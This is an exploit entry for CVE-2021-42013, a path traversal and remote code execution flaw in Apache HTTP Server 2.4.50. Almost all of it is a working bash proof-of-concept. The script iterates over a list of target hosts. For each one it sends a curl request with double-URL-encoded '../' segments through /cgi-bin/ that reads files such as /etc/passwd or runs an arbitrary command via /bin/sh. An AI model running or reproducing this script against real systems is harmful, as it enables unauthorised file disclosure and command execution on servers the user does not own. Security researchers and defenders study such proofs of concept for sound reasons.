Apache HTTP Server 2.4.50 – Path Traversal & Remote Code Execution (RCE)
# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE) # Date: 10/05/2021 # Exploit Author: Lucas Souza https://lsass.io # Vendor Homepage: https://apache.org/ # Version: 2.4.50 # Tested on: 2.4.50 # CVE : CVE-2021-42013 # Credits: Ash Daulton and the cPanel Security Team #!/bin/bash if [[ $1 == '' ]]; [[ $2 == '' ]]; then echo Set [TAGET-LIST.TXT] [PATH] [COMMAND] echo ./PoC.sh targets.txt /etc/passwd echo ./PoC.sh targets.txt /bin/sh id exit fi for host in $(cat $1); do echo $host curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done # PoC.sh targets.txt /etc/passwd # PoC.sh targets.txt /bin/sh whoami |